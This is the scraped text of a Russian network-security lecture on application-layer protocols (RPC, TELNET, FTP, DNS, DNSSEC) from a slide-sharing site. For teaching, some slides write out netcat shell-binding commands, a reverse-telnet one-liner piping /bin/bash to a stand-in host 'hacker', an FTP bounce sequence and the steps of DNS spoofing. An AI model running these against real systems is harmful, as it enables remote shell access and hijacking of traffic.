Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.

Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему Протоколы прикладного уровня

Содержание

КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия
Протоколы прикладного уровняРаздел 2 – Тема 15 КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия Удалённый вызов процедурКанальный уровеньФизический уровеньСетевой уровеньТранспортный уровеньУровеньсоединенияУровеньпредставленияУровеньприложения7654321Ethernet, FDDI, X.25и другиеСетевой уровеньIPTCP, UDPRPC КлиентСервер RPCПротокол RPCСпецификация RPC-сервера Номер программы Номер процедуры Номер версии КлиентСервер RPCЗапрос клиентаСпецификация RPC-сервера Номер программы Номер процедуры Номер версииНомер порта КлиентСервер RPCНомер процедурыRPC-сканированиеНомер портаПримеры утилит для RPC-сканирования RPCScan (Linux) rpcdump (Windows) Клиент(утилита telnet)Сервер(telnetd)Протокол обменаTELNETПротокол удалённого терминала - TELNET Взаимодействие«терминал-удалённый процесс»Терминал – Серверный процесс$aaaa Команды протокола TELNETУправляющий символ IACКомандаПараметрыInterpret as Command, равен 255Например, клавиша Backspace, 2471 байт1 байт1 байт Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process) 244Прерывание процессапользователяAO (Abort Output) 245Остановка Передача команд$aIAC ECBackspace$ Клиент(утилита telnet)Сервер(telnetd)Передача имени и пароля в открытом видеУязвимости протокола TELNET Изменение переменных окружения до аутентификацииУязвимости протокола TELNETКлиент(утилита telnet)Сервер(telnetd) Что такое Netcat?Netcat - это утилита, которая позволяет читать и записывать данные Netcat и Telnet - клиентTelnet - клиент имеет ограничения, преодолеть которые поможет Режимы работы NetcatРежим исходящих соединенийРежим ожидания входящих соединенийСлушающий портnc [-опции] порт[ы]nc –l –p [-опции] [узел] [порт] Варианты использования NetcatПодключение к слушающему порту на удаленном узлеПодключение с явным указанием Варианты использования NetcatОткрытие порта и подключение оболочки к немуnc –e /bin/bash nc «Обращённый» TELNETЭто управление узлом через соединение, инициируемое с него самого «Обращённый» TELNET8025> telnet hacker 80 | /bin/bash | telnet hacker 25/bin/bashКомандыРезультаты Практическая работа 18Утилита Netcat «Обращённый» TELNET КлиентСерверКомандыОтветыРеализация службы FTPИнтерфейс пользователяМодуль управленияпередачейМодуль передачи данныхДанныеМодуль управленияпередачейМодуль передачи данных Пассивный вариант работы FTPКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный порт Предсказуемый номер портаКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный портПодключение раньше клиента Открытие большого количества портовСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)команда Передача данных между двумя FTP-серверамиСервер (ftpd)Сервер (ftpd)Передача большогоколичества данныхУправляющее соединение Атаки на сетевые службы при помощи FTPСервер FTPПочтовый серверПодключение с FTP-сервераPORT 20,1,1,1,0,25RETR 20.1.1.125 telnet www.microsoft.comResolverwww.microsoft.com - ?100.0.0.6DNS ServerDNS - служба Домены и поддомены« »orgeducomcompanysalebuhgRootNameServercompany.comName Serversale.company.comName Server Записи Resource Recordmain.sale.company.com. IN A 100.0.0.120salesale.company.comName Serversale.company.com. Разрешение имёнResolvermain.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?com Name ServerRoot Servercompany.com NSsale.company.com NS Применение транспортного протокола без установления соединения (UDP)Отсутствие идентификации и аутентификацииОтсутствие средств разграничения доступаУязвимости службы DNS Пример атаки на IP - сеть: Атака на DNSНарушение нормального функционирования объекта Схема работы DNS - протокола DNS-серверХост АIP - адрес IDИмя компьютераSourcePortDNS-запросDNS-ответID - DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS - запрос Нарушитель должен находиться в DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и SourcePortЛожный DNS - ответ:от имени Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет лежать Пример атаки на IP - сеть: Атака на DNS (вариант 2)Нарушение нормального DNS-серверХост АIDIP - адрес DestPortЛожные DNS - ответыПереборПример атаки на IP - DNS-серверХост АЛожные DNS - ответыПример атаки на IP - сеть: Атака на DNS (вариант 2) Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет лежать DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запросDNS-ответ194.154.77.109 www.infosec.ruПример атаки на DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123 www.infosec.ruЛожные DNS - DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблица194.154.77.123 www.infosec.ruХост А194.154.77.123www.infosec.ruDNS-запросDNS-ответПример атаки на DNS в корпоративной сетиВнешний узелВторичныйсерверВнутренний узелПервичный серверРепликацияРекурсивный запросРекурсивныезапросыИтеративныезапросыDNSDNS DNS в корпоративной сетиДоступ узлов корпоративной сети к полной информации о внутренних Двухсерверная конфигурацияВнешний узелВторичныйсерверВнутренний узелПервичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия)DNSDNSDNS Трехсерверная конфигурацияВнешний узелВторичныйсервер (минимальная версия)Внутреннийузел (с Internet)Первичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия+корень)DNSDNSDNSDNSВторичный сервер(полнаяверсия)Внутреннийузел (без Internet) Трёхсерверная конфигурацияПервичный сервер(минимальнаяверсия)МежсетевойэкранПервичныйсервер(полнаяверсия)+кореньDNSDNSDNSВторичныйсервер(полнаяверсия)Internet Протокол DNSSecМеханизм распределения открытых ключейЦелостность и аутентичность информации DNSАутентификация транзакции Новые записи Resource Recordmain.sale.company.com. IN A 100.0.0.120sale.company.com. Обычный DNS-запросqname=main.sale.company.comqtype=Amain.sale.company.com A 100.0.0.120Владелецsale.company.com Запрос DNSSecqname=main.sale.company.comqtype=AВопросmain.sale.company.com A ?main.sale.company.com Практическая работа 19Просмотр и запись сессий TELNET и FTP при помощи RealSecureНастройка Раздел 2 – Итоги Модель OSI. Архитектура TCP/IP. Сетевые анализаторы. Программа
Слайды презентации

Слайд 2 Клиент
Сервер
Протокол обмена
TELNET
FTP
HTTP
Реализация служб прикладного уровня
Уровень сетевого взаимодействия

КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия

Слайд 3 Удалённый вызов процедур
Канальный
уровень
Физический
уровень
Сетевой
уровень
Транспортный
уровень
Уровень
соединения
Уровень
представления
Уровень
приложения
7
6
5
4
3
2
1
Ethernet, FDDI,

Удалённый вызов процедурКанальный уровеньФизический уровеньСетевой уровеньТранспортный уровеньУровеньсоединенияУровеньпредставленияУровеньприложения7654321Ethernet, FDDI, X.25и другиеСетевой уровеньIPTCP, UDPRPC

X.25
и другие
Сетевой
уровень
IP
TCP, UDP
RPC

Слайд 4 Клиент
Сервер RPC
Протокол RPC
Спецификация RPC-сервера
Номер программы
Номер процедуры

КлиентСервер RPCПротокол RPCСпецификация RPC-сервера Номер программы Номер процедуры Номер версии

Номер версии

Слайд 5 Клиент
Сервер RPC
Запрос клиента
Спецификация RPC-сервера
Номер программы
Номер процедуры

КлиентСервер RPCЗапрос клиентаСпецификация RPC-сервера Номер программы Номер процедуры Номер версииНомер порта

Номер версии
Номер порта

Слайд 6 Клиент
Сервер RPC
Номер процедуры
RPC-сканирование
Номер порта
Примеры утилит для RPC-сканирования
RPCScan

КлиентСервер RPCНомер процедурыRPC-сканированиеНомер портаПримеры утилит для RPC-сканирования RPCScan (Linux) rpcdump (Windows)

(Linux)
rpcdump (Windows)

Слайд 7 Клиент
(утилита telnet)
Сервер
(telnetd)
Протокол обмена
TELNET
Протокол удалённого терминала - TELNET

Клиент(утилита telnet)Сервер(telnetd)Протокол обменаTELNETПротокол удалённого терминала - TELNET

Слайд 8 Взаимодействие
«терминал-удалённый процесс»
Терминал – Серверный процесс
$a
a
a
a

Взаимодействие«терминал-удалённый процесс»Терминал – Серверный процесс$aaaa

Слайд 9 Команды протокола TELNET
Управляющий символ IAC
Команда
Параметры
Interpret as Command, равен

Команды протокола TELNETУправляющий символ IACКомандаПараметрыInterpret as Command, равен 255Например, клавиша Backspace, 2471 байт1 байт1 байт

255
Например, клавиша Backspace, 247
1 байт
1 байт
1 байт

Слайд 10 Команды протокола TELNET
Название команды
Код
Описание команды
IP (Interrupt Process)
244
Прерывание

Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process) 244Прерывание процессапользователяAO (Abort Output)

процесса
пользователя
AO (Abort Output)
245
Остановка вывода
на дисплей
AYT (Are You There)


246

Проверка состояния системы

EC (Erase Character)

247

Удаление последнего введённого символа

EL (Erase Line)

248

Удаление текущей строки

Слайд 11 Передача команд
$a
IAC EC
Backspace
$

Передача команд$aIAC ECBackspace$

Слайд 12 Клиент
(утилита telnet)
Сервер
(telnetd)
Передача имени и пароля в открытом виде
Уязвимости

Клиент(утилита telnet)Сервер(telnetd)Передача имени и пароля в открытом видеУязвимости протокола TELNET

протокола TELNET

Слайд 13 Изменение переменных окружения до аутентификации
Уязвимости протокола TELNET
Клиент
(утилита telnet)
Сервер
(telnetd)

Изменение переменных окружения до аутентификацииУязвимости протокола TELNETКлиент(утилита telnet)Сервер(telnetd)

Слайд 14 Что такое Netcat?
Netcat - это утилита, которая позволяет

Что такое Netcat?Netcat - это утилита, которая позволяет читать и записывать

читать и записывать данные по сети с использованием протоколов

TCP или UDP. Возможности netcat :
Работа с входящими и исходящими TCP или UDP соединениями, использующими любые порты
Выполнение DNS запросов различных типов
Возможность задания порта источника
Возможность использования любого адреса источника (из локально сконфигурированных)
Возможности по сканированию портов
Работа в качестве telnet-сервера

Слайд 15 Netcat и Telnet - клиент
Telnet - клиент имеет

Netcat и Telnet - клиентTelnet - клиент имеет ограничения, преодолеть которые

ограничения, преодолеть которые поможет Netcat. Например:
Ограничения стандартного потока

ввода
Посылка сообщений об ошибках в стандартный поток вывода, вместе с данными
Невозможность посылки двоичных данных
Невозможность находиться в состоянии ожидания соединения
Невозможность работы с UDP

Слайд 16 Режимы работы Netcat
Режим исходящих соединений
Режим ожидания входящих соединений
Слушающий

Режимы работы NetcatРежим исходящих соединенийРежим ожидания входящих соединенийСлушающий портnc [-опции] порт[ы]nc –l –p [-опции] [узел] [порт]

порт
nc [-опции] порт[ы]
nc –l –p [-опции]

[узел] [порт]

Слайд 17 Варианты использования Netcat
Подключение к слушающему порту на удаленном

Варианты использования NetcatПодключение к слушающему порту на удаленном узлеПодключение с явным

узле
Подключение с явным указанием порта источника
nc 200.2.2.222 80
nc –p

53 200.2.2.222 80

53

200.2.2.222

80

200.2.2.222

Слайд 18 Варианты использования Netcat
Открытие порта и подключение оболочки к

Варианты использования NetcatОткрытие порта и подключение оболочки к немуnc –e /bin/bash

нему
nc –e /bin/bash
nc –e cmd.exe

порт>

Вариант для Linux

Вариант для Windows

Слайд 19 «Обращённый» TELNET
Это управление узлом через соединение, инициируемое с

«Обращённый» TELNETЭто управление узлом через соединение, инициируемое с него самого

него самого

Слайд 20 «Обращённый» TELNET
80
25
> telnet hacker 80
| /bin/bash |

«Обращённый» TELNET8025> telnet hacker 80 | /bin/bash | telnet hacker 25/bin/bashКомандыРезультаты

telnet hacker 25
/bin/bash
Команды
Результаты

Слайд 21 Практическая работа 18
Утилита Netcat
«Обращённый» TELNET

Практическая работа 18Утилита Netcat «Обращённый» TELNET

Слайд 22 Клиент
Сервер
Команды
Ответы
Реализация службы FTP
Интерфейс

пользователя
Модуль
управления
передачей
Модуль
передачи
данных
Данные
Модуль
управления
передачей
Модуль

КлиентСерверКомандыОтветыРеализация службы FTPИнтерфейс пользователяМодуль управленияпередачейМодуль передачи данныхДанныеМодуль управленияпередачейМодуль передачи данных


передачи
данных

Слайд 23 Пассивный вариант работы FTP
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

Пассивный вариант работы FTPКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный порт



(номер порта для подключения)
Открытие соединения

на указанный порт

Слайд 24 Предсказуемый номер порта
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер

Предсказуемый номер портаКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный портПодключение раньше клиента

порта для подключения)
Открытие соединения

на указанный порт
Подключение раньше клиента

Слайд 25 Открытие большого количества портов
Сервер (ftpd)
команда PASV
Ответ с параметрами

Открытие большого количества портовСервер (ftpd)команда PASVОтвет с параметрами (номер порта для



(номер порта для подключения)
команда PASV
Ответ с параметрами

(номер порта

для подключения)

команда PASV

Ответ с параметрами

(номер порта для подключения)

Слайд 26 Передача данных между двумя FTP-серверами
Сервер (ftpd)
Сервер (ftpd)
Передача большого

количества

Передача данных между двумя FTP-серверамиСервер (ftpd)Сервер (ftpd)Передача большогоколичества данныхУправляющее соединение

данных
Управляющее соединение

Слайд 27 Атаки на сетевые службы при помощи FTP
Сервер FTP
Почтовый

Атаки на сетевые службы при помощи FTPСервер FTPПочтовый серверПодключение с FTP-сервераPORT 20,1,1,1,0,25RETR 20.1.1.125

сервер
Подключение с FTP-сервера
PORT 20,1,1,1,0,25
RETR
20.1.1.1
25

Слайд 28 telnet www.microsoft.com
Resolver
www.microsoft.com - ?
100.0.0.6
DNS Server
DNS - служба

telnet www.microsoft.comResolverwww.microsoft.com - ?100.0.0.6DNS ServerDNS - служба

Слайд 29 Домены и поддомены
« »
org
edu
com
company
sale
buhg
Root
Name
Server
company.com
Name Server
sale.company.com
Name Server

Домены и поддомены« »orgeducomcompanysalebuhgRootNameServercompany.comName Serversale.company.comName Server

Слайд 30 Записи Resource Record
main.sale.company.com. IN A

Записи Resource Recordmain.sale.company.com. IN A 100.0.0.120salesale.company.comName Serversale.company.com. IN NS ns.sale.company.com

100.0.0.120

sale
sale.company.com
Name Server
sale.company.com. IN NS

ns.sale.company.com

Слайд 31 Разрешение имён
R
e
s
o
l
v
e
r
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com

Разрешение имёнResolvermain.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?com Name ServerRoot Servercompany.com NSsale.company.com NS

- ?
com Name Server
Root Server
company.com NS
sale.company.com NS

Слайд 32 Применение транспортного протокола
без установления соединения (UDP)
Отсутствие идентификации

Применение транспортного протокола без установления соединения (UDP)Отсутствие идентификации и аутентификацииОтсутствие средств разграничения доступаУязвимости службы DNS

и аутентификации
Отсутствие средств разграничения доступа
Уязвимости службы DNS

Слайд 33 Пример атаки на IP - сеть:
Атака на

Пример атаки на IP - сеть: Атака на DNSНарушение нормального функционирования

DNS
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В одном сегменте с

объектом атаки

Используемые уязвимости

Цель

Слабая защищённость протокола DNS -
- недостаток проектирования

Степень риска

Высокая

Нарушение навигации (ложный маршрут)

Механизм реализации

Слайд 34 Схема работы DNS - протокола
DNS-сервер
Хост А
IP -

Схема работы DNS - протокола DNS-серверХост АIP - адрес IDИмя компьютераSourcePortDNS-запросDNS-ответID

адрес
ID
Имя компьютера
SourcePort
DNS-запрос
DNS-ответ
ID - генерируется приложением, пославшим запрос,
обычно=1
SourcePort вначале

принимает значение 1024
а потом увеличивается

Пример атаки на IP - сеть:
Атака на DNS

Слайд 35 DNS-сервер
Хост А
ID
Имя компьютера
SourcePort
DNS-запрос
Хост А посылает DNS - запрос

DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS - запрос Нарушитель должен находиться


Нарушитель должен находиться в одной
подсети с А или

в одной подсети с
DNS - сервером

Это позволит ему перехватить пакет
с запросом

Пример атаки на IP - сеть:
Атака на DNS

Слайд 36 DNS-сервер
Хост А
DNS-запрос
Нарушитель извлекает из запроса ID и SourcePort
Ложный

DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и SourcePortЛожный DNS - ответ:от

DNS - ответ:
от имени настоящего DNS - сервера,
но в

качестве IP - адреса искомого узла
указывается IP - адрес нарушителя

Результат: хост А имеет неправильное соответствие
между именем компьютера и IP - адресом

Пример атаки на IP - сеть:
Атака на DNS

Слайд 37 Хост А
Узел сети
Теперь путь пакета от хоста А

Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет

до узла сети
будет лежать через хост нарушителя
Пример атаки на

IP - сеть:
Атака на DNS

Слайд 38 Пример атаки на IP - сеть:
Атака на

Пример атаки на IP - сеть: Атака на DNS (вариант 2)Нарушение

DNS (вариант 2)
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В разных

сегментах с объектом атаки

Используемые уязвимости

Цель

Слабая защищённость протокола DNS -
- недостаток проектирования

Степень риска

Высокая

Нарушение навигации (ложный маршрут)

Механизм реализации

Слайд 39 DNS-сервер
Хост А
ID
IP - адрес
DestPort
Ложные DNS - ответы
Перебор
Пример

DNS-серверХост АIDIP - адрес DestPortЛожные DNS - ответыПереборПример атаки на IP

атаки на IP - сеть:
Атака на DNS (вариант

2)

Слайд 40 DNS-сервер
Хост А
Ложные DNS - ответы
Пример атаки на IP

DNS-серверХост АЛожные DNS - ответыПример атаки на IP - сеть: Атака на DNS (вариант 2)

- сеть:
Атака на DNS (вариант 2)

Слайд 41 Хост А
Узел сети
Теперь путь пакета от хоста А

Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет

до узла сети
будет лежать через хост нарушителя
Пример атаки на

IP - сеть:
Атака на DNS (вариант 2)

Слайд 42 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
DNS-ответ
194.154.77.109

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запросDNS-ответ194.154.77.109 www.infosec.ruПример атаки на IP

www.infosec.ru
Пример атаки на IP - сеть:
Атака на

DNS (вариант 3)

Слайд 43 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
194.154.77.123

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123 www.infosec.ruЛожные DNS - ответыПример

www.infosec.ru
Ложные DNS - ответы
Пример атаки на IP -

сеть:
Атака на DNS (вариант 3)

Слайд 44 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
194.154.77.123

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблица194.154.77.123 www.infosec.ruХост А194.154.77.123www.infosec.ruDNS-запросDNS-ответПример атаки на IP

www.infosec.ru
Хост А
194.154.77.123
www.infosec.ru
DNS-запрос
DNS-ответ
Пример атаки на IP - сеть:
Атака на

DNS (вариант 3)

Слайд 45 DNS в корпоративной сети
Внешний узел
Вторичный
сервер
Внутренний
узел
Первичный

DNS в корпоративной сетиВнешний узелВторичныйсерверВнутренний узелПервичный серверРепликацияРекурсивный запросРекурсивныезапросыИтеративныезапросыDNSDNS


сервер
Репликация
Рекурсивный запрос
Рекурсивные
запросы
Итеративные
запросы
DNS
DNS

Слайд 46 DNS в корпоративной сети
Доступ узлов корпоративной сети к

DNS в корпоративной сетиДоступ узлов корпоративной сети к полной информации о

полной
информации о внутренних именах
Доступ отдельных узлов корпоративной сети


к глобальному пространству имён Internet

Доступ внешних узлов к минимально необходимой
информации о внутренних именах

Слайд 47 Двухсерверная конфигурация
Внешний узел
Вторичный
сервер
Внутренний
узел
Первичный
сервер
(минимальная
версия)
Репликация
Рекурсивный запрос
Рекурсивный
запрос
Итеративные
запросы
Межсетевой
экран
Первичный

Двухсерверная конфигурацияВнешний узелВторичныйсерверВнутренний узелПервичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия)DNSDNSDNS


сервер
(полная
версия)
DNS
DNS
DNS

Слайд 48 Трехсерверная конфигурация
Внешний узел
Вторичный
сервер
(минимальная версия)
Внутренний
узел (с Internet)
Первичный
сервер
(минимальная
версия)
Репликация
Рекурсивный

Трехсерверная конфигурацияВнешний узелВторичныйсервер (минимальная версия)Внутреннийузел (с Internet)Первичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия+корень)DNSDNSDNSDNSВторичный сервер(полнаяверсия)Внутреннийузел (без Internet)

запрос
Рекурсивный
запрос
Итеративные
запросы
Межсетевой
экран
Первичный
сервер
(полная
версия+корень)
DNS
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)
Внутренний
узел (без Internet)

Слайд 49 Трёхсерверная конфигурация
Первичный
сервер
(минимальная
версия)
Межсетевой
экран
Первичный
сервер
(полная
версия)
+корень
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)
Internet

Трёхсерверная конфигурацияПервичный сервер(минимальнаяверсия)МежсетевойэкранПервичныйсервер(полнаяверсия)+кореньDNSDNSDNSВторичныйсервер(полнаяверсия)Internet

Слайд 50 Протокол DNSSec
Механизм распределения открытых ключей
Целостность и аутентичность информации

Протокол DNSSecМеханизм распределения открытых ключейЦелостность и аутентичность информации DNSАутентификация транзакции

DNS
Аутентификация транзакции

Слайд 51 Новые записи Resource Record
main.sale.company.com. IN

Новые записи Resource Recordmain.sale.company.com. IN A 100.0.0.120sale.company.com. IN

A 100.0.0.120

sale.company.com. IN NS

ns.sale.company.com

sale.company.com. IN KEY [ключ]

sale.company.com. IN SIG [подпись]

sale.company.com. IN NXT [домен]

Слайд 52 Обычный DNS-запрос
qname=main.sale.company.com
qtype=A
main.sale.company.com A

Обычный DNS-запросqname=main.sale.company.comqtype=Amain.sale.company.com A 100.0.0.120Владелецsale.company.com NS

100.0.0.120

Владелец
sale.company.com NS

ns.sale.company.com

Дополнительно
ns.sale.company.com A 100.0.1.130

Запрос

Ответ

Слайд 53 Запрос DNSSec
qname=main.sale.company.com
qtype=A
Вопрос
main.sale.company.com A

Запрос DNSSecqname=main.sale.company.comqtype=AВопросmain.sale.company.com A ?main.sale.company.com A 100.0.0.120main.sale.company.com

?
main.sale.company.com A 100.0.0.120
main.sale.company.com

SIG [подпись]

Владелец
sale.company.com NS ns.sale.company.com
sale.company.com SIG [подпись]

Дополнительно
ns.sale.company.com A 100.0.1.130
ns.sale.company.com SIG [подпись]
sale.company.com KEY [ключ]
main.sale.company.com KEY [ключ]
ns.sale.company.com KEY [ключ]

Запрос

Ответ

Слайд 54 Практическая работа 19
Просмотр и запись сессий TELNET и

Практическая работа 19Просмотр и запись сессий TELNET и FTP при помощи

FTP при помощи RealSecure
Настройка пользовательских событий для RealSecure

  • Имя файла: protokoly-prikladnogo-urovnya.pptx
  • Количество просмотров: 125
  • Количество скачиваний: 0
- Предыдущая Оформление информационных стендов с учетом психологического восприятия
Следующая - Мир глазами субкультур

Похожие презентации

Обучение программированию в базовом курсе информатики Обучение программированию в базовом курсе информатики 141
Персональный компьютер Персональный компьютер 130
Обработка числовой информации Обработка числовой информации 115
Создание веб сайта. Таблицы Создание веб сайта. Таблицы 137
Презентация по информатике на тему Информационные процессы (10 класс) Презентация по информатике на тему Информационные процессы (10 класс) 140
База данных. Библиотека База данных. Библиотека 145
Антивирус. Виды вирусов. Основные признаки проявления вирусов. По особенностям алгоритма. По особенностям алгоритма. Антивирус. Виды вирусов. Основные признаки проявления вирусов. По особенностям алгоритма. По особенностям алгоритма. 147
Защита информации Защита информации 125
Метод проектов Метод проектов 131
Ритейл-сервис Ритейл-сервис 105
Конспект по теме Маленькие компьютерные гении презентация к уроку по информатике (старшая группа) Конспект по теме Маленькие компьютерные гении презентация к уроку по информатике (старшая группа) 147
Оптические приводы Оптические приводы 118
Алгоритм и компьютерная программа Алгоритм и компьютерная программа 123
Знакомство с языком Pascal Знакомство с языком Pascal 144
Разработка WEB - приложения для фирмы по продаже мебели Разработка WEB - приложения для фирмы по продаже мебели 181
КОМПЬЮТЕР И ЗДОРОВЬЕ ШКОЛЬНИКА КОМПЬЮТЕР И ЗДОРОВЬЕ ШКОЛЬНИКА 107
Прерывания. (Тема 7) Прерывания. (Тема 7) 108
Пассивные системы охлаждения Пассивные системы охлаждения 121
Кадровая поддержка систем обеспечения информационной безопасности России Кадровая поддержка систем обеспечения информационной безопасности России 116
Технология обработки текстовой информации Технология обработки текстовой информации 93
История компьютерной техники История компьютерной техники 149
This is your presentation title This is your presentation title 139
Программист. Математика в профессии Программист. Математика в профессии 159
Создание фотоальбома в программе Windows Movie Maker Создание фотоальбома в программе Windows Movie Maker 109
Кнопка жизни Кнопка жизни 147
Презентация по информатике на тему Формирование цвета в системах цветопередачи RGB, CMYK и HSB (Палитры цветов в системах цветопередачи RGB, CMYK и HSB) (9 класс) Презентация по информатике на тему Формирование цвета в системах цветопередачи RGB, CMYK и HSB (Палитры цветов в системах цветопередачи RGB, CMYK и HSB) (9 класс) 170
История развития операционных систем История развития операционных систем 132
Защита собственной информации от несанкционированного доступа Защита собственной информации от несанкционированного доступа 107
Игра-соревнование по информатике Игра-соревнование по информатике 122
Структура процессора Структура процессора 152